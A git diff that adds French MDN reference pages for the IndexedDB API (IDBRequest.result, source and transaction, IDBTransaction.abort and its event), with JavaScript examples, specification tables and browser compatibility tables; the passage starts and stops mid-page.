+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/result/index.html b/files/fr/web/api/idbrequest/result/index.html
new file mode 100644
index 0000000000..654ffb20d1
--- /dev/null
+++ b/files/fr/web/api/idbrequest/result/index.html
@@ -0,0 +1,168 @@
+---
+title: IDBRequest.result
+slug: Web/API/IDBRequest/result
+tags:
+  - API
+  - IDBRequest
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBRequest/result
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>result</code></strong>, rattachée à l'interface {{domxref("IDBRequest")}}, renvoie le résultat de la requête. Si la requête échoue et que le résultat n'est pas disponible, une exception <code>InvalidStateError</code> sera levée.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var resultat = request.result;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La valeur du résultat de la requête (le type dépend des objets du magasin d'objets).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on souhaite récupérer l'enregistrement qui correspond à un titre donné. Le gestionnaire d'évènements <code>onsuccess</code> permet de récupérer l'enregistrement contenu dans le magasin d'objet ({{domxref("IDBObjectStore")}}) (via <code>objectStoreTitleRequest.result</code>). Ensuite, on met à jour une propriété de cet enregistrement et on replace cet enregistrement dans le magasin d'objet.</p>
+
+<pre class="brush: js;highlight:[11]">var title = "Walk dog";
+
+// On ouvre une transaction en lecture/écriture
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// On récupère l'objet qui possède le titre souhaité
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // On agit sur les données de l'objet de la requête
+  var data = objectStoreTitleRequest.result;
+
+  // On met à jour la propriété notified avec "yes"
+  data.notified = "yes";
+
+  // On crée une autre requête pour réinsérer l'objet dans la base
+  var updateTitleRequest = objectStore.put(data);
+
+  // Lorsque cette seconde requête est terminée, on lance displayData() pour rafraîchir l'écran
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};</pre>
+
+<div class="note">
+<p><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-result', 'result')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/source/index.html b/files/fr/web/api/idbrequest/source/index.html
new file mode 100644
index 0000000000..dcf0bb4029
--- /dev/null
+++ b/files/fr/web/api/idbrequest/source/index.html
@@ -0,0 +1,178 @@
+---
+title: IDBRequest.source
+slug: Web/API/IDBRequest/source
+tags:
+  - API
+  - IDBRequest
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBRequest/source
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>source</code></strong> est une propriété en lecture seule, rattachée à l'interface {{domxref("IDBRequest")}}, et qui indique la source de la requête (c'est-à-dire l'index ou le magasin d'objets utilisé). Si aucune source n'existe (par exemple car on a appelé {{domxref("indexedDB.open")}}), la propriété vaut <code>null</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>IDBIndex</em> = <em>request</em>.source;
+var <em>IDBCursor</em> = <em>request</em>.source;
+var <em>IDBObjectStore</em> = <em>request</em>.source;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet qui représente la source de la requête. Ce peut être un objet {{domxref("IDBIndex")}}, {{domxref("IDBObjectStore")}} ou un objet  {{domxref("IDBCursor")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on récupère un enregistrement avec un titre donné depuis un magasin d'objets. Ensuite, on met à jour une des propriétés de cet enregistrement et on met à jour le magasin d'objets en insérant cet objet modifié. Lors de cette deuxième requête, on affiche la source dans la console. Pour consulter un exemple fonctionnel complet, vous pouvez vous référer à notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">cf. l'exemple <em>live</em></a>).</p>
+
+<pre class="brush: js;highlight:[11]">var title = "Walk dog";
+
+// On ouvre une transaction
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// On fait une requête pour récupérer
+// l'enregistrement qui possède le titre
+// souhaité
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // On récupère l'objet afin de le modifier
+  var data = objectStoreTitleRequest.result;
+
+  // On met à jour la propriété notified
+  // avec la valeur "yes"
+  data.notified = "yes";
+
+  // On crée une autre requête pour replacer
+  // l'enregistrement modifié dans la base de d
+  // données
+  var updateTitleRequest = objectStore.put(data);
+
+  // Ici, on affiche la source de la requête dans
+  // la console
+  console.log("La source de cette requête est " + updateTitlerequest.source);
+  // Quand cette deuxième requête sera appliquée,
+  // on lancera displayData() pour mettre à jour
+  // l'affichage
+  updateTitleRequest.onsuccess = function() { displayData(); };
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-source', 'source')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbrequest-source", "source")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (sans préfixe)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/transaction/index.html b/files/fr/web/api/idbrequest/transaction/index.html
new file mode 100644
index 0000000000..d8d1e99ef8
--- /dev/null
+++ b/files/fr/web/api/idbrequest/transaction/index.html
@@ -0,0 +1,180 @@
+---
+title: IDBRequest.transaction
+slug: Web/API/IDBRequest/transaction
+translation_of: Web/API/IDBRequest/transaction
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La propriété <strong><code>transaction</code></strong> de l'interface IDBRequest renvoie la {{domxref("IDBTransaction","transaction")}} dans laquelle on fait la requête.La propriètè peut renvoiyer <code>null</code> si requête se fait sans transaction, comme un objet IDBRequest renvoyé par {{domxref("IDBFactory.open")}} dans ce cas on est juste connecté à la base de données.</p>
+
+<p class="note"> Durant la gestion d'un événement {{domxref("IDBOpenDBRequest.onupgradeneeded", "upgradeneeded")}} qui met à jour la version de la base de données, la propriété <strong><code>transaction</code></strong> doit être une {{domxref("IDBTransaction","transaction")}} ouverte en {{domxref("IDBTransaction.mode", "mode")}} <code>"versionchange"</code>, on peut alors accéder aux {{domxref("IDBObjectStore","magasins d'objets")}} et {{domxref("IDBIndex","index")}} ou annulé la mise à niveau. Après quoi, la propriété <strong><code>transaction</code></strong> renverra encore <code>null</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myTransaction = request.transaction;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("IDBTransaction","transaction")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant demande un titre d'enregistrement donné, <code>onsuccess</code> obtient l'enregistrement associé du {{domxref("IDBObjectStore","magasin d'objects")}} (mis à disposition en tant que <code>objectStoreTitleRequest.result</code>), on met à jour une propriété de l'enregistrement, puis le sauve dans le magasin d'objects. La {{domxref("IDBTransaction","transaction")}} à l'origine de la deuxième {{domxref("IBBRequest","requête")}} est affichée sur la console du développeur (Ps, les deux requêtes proviennent de la même transaction). En bas est une fonction onerror qui affiche le code d'erreur si la requête échoue. Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<pre class="brush: js">var title = "Walk dog";
+
+// Ouvrez une transaction comme d'habitude
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// Obtenez l'objet toDoList qui a ce titre
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // Prenez l'objet de données renvoyé comme résultat
+  var data = objectStoreTitleRequest.result;
+
+  // Mettre à jour la valeur notified de l'objet à "yes"
+  data.notified = "yes";
+
+  // Créer une autre requête qui insère le nouvelle élément dans la base de données
+  var updateTitleRequest = objectStore.put(data);
+
+  // Affiche la transaction à l'origine de la deuxième requête
+  console.log(" la transaction à l'origine de ces requêtes est " + updateTitleRequest.transaction);
+
+  // Lorsque cette requête réussit, appelle de la fonction displayData() pour mettre à jour l'affichage
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+
+objectStoreTitleRequest.onerror = function() {
+  // Si une erreur pendant la requête, on l'affiche
+  console.log("Il y a eu une erreur dans la récupération des données: " + objectStoreTitleRequest.error);
+};
+</pre>
+
+<p>Cet exemple montre comment la propriété <strong><code>transaction</code></strong> peut être utilisé pendant une mise à niveau de version pour accéder à des {{domxref("IDBObjectStore","magasins d'objects")}} existants: ​</p>
+
+<pre class="brush: js">var openRequest = indexedDB.open('db', 2);
+console.log(openRequest.transaction); // Affiche "null".
+
+openRequest.onupgradeneeded = function(event) {
+  console.log(openRequest.transaction.mode); // Affiche "versionchange".
+  var db = openRequest.result;
+  if (event.oldVersion &lt; 1) {
+    // Nouvelle base de données, créer un magasin d'objets "livres".
+    db.createObjectStore('books');
+  }
+  if (event.oldVersion &lt; 2) {
+    // Mise à niveau de la base de données v1: ajoute un index sur "title" pour stocker les livres.
+    var bookStore = openRequest.transaction.objectStore('books');
+    bookStore.createIndex('by_title', 'title');
+  }
+};
+
+openRequest.onsuccess = function() {
+  console.log(openRequest.transaction); // Affiche "null".
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-transaction', 'transaction')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/abort/index.html b/files/fr/web/api/idbtransaction/abort/index.html
new file mode 100644
index 0000000000..8017fe58d8
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/abort/index.html
@@ -0,0 +1,193 @@
+---
+title: IDBTransaction.abort()
+slug: Web/API/IDBTransaction/abort
+tags:
+  - API
+  - IDBTransaction
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBTransaction/abort
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>abort()</code></strong>, rattachée à l'interface {{domxref("IDBTransaction")}}, permet d'annuler les modifications apportées aux objets de la base de données pendant la transaction courante.</p>
+
+<p>Tous les objets {{domxref("IDBRequest")}} créés pendant cette transaction verront leur attribut {{domxref("IDBRequest.error")}} prendre la valeur <code>AbortError</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">transaction.abort();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} du type <code>InvalidStateError</code> lorsque la transaction a été validée ou qu'elle a déjà été annulée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on ouvre une transaction en lecture/écriture sur la base de données et on ajoute des données au magasin d'objets. On dispose également de fonctions attachées aux gestionnaires d'évènements de la transaction pour gérer la réussite ou l'échec des opérations. Ensuite, on annule les opérations de la transaction grâce à <code>abort()</code>. Pour un exemple complet, vous pouvez consulter <a href="https://github.com/mdn/to-do-notifications/">notre application de notifications To-do</a> (cf. <a href="https://mdn.github.io/to-do-notifications/">la démonstration <em>live</em></a>).</p>
+
+<pre class="brush: js">// On ouvre la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base.&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture dans la
+  // variable db afin de l'utiliser ensuite
+  db = DBOpenRequest.result;
+
+  // On exécute la fonction addData() afin d'ajouter
+  // des données à la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet pour l'insérer dans la reate a new object ready for being
+  // inserted into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // afin d'ajouter des données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On gère la réussite de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modifications appliquées.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non ouverte à cause d'une erreur.&lt;/li&gt;';
+  };
+
+  // On crée le magasin d'objet pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // On ajoute un nouvel objet newItem au magasin d'objet
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On gère la réussite de l'ajout de l'élément dans
+    // la base de données
+    note.innerHTML += '&lt;li&gt;Nouvel objet ajouté dans la base de données.&lt;/li&gt;';
+  };
+
+  // On annule la transaction en cours
+  transaction.abort();
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-abort-void', 'abort')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefix)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/abort_event/index.html b/files/fr/web/api/idbtransaction/abort_event/index.html
new file mode 100644
index 0000000000..36d16a63ac
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/abort_event/index.html
@@ -0,0 +1,75 @@
+---
+title: abort
+slug: Web/API/IDBTransaction/abort_event
+translation_of: Web/API/IDBTransaction/abort_event
+---
+<p>Le gestionnaire<strong> </strong>d'arrêt est exécuté lorsqu'une transaction a été interrompue.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
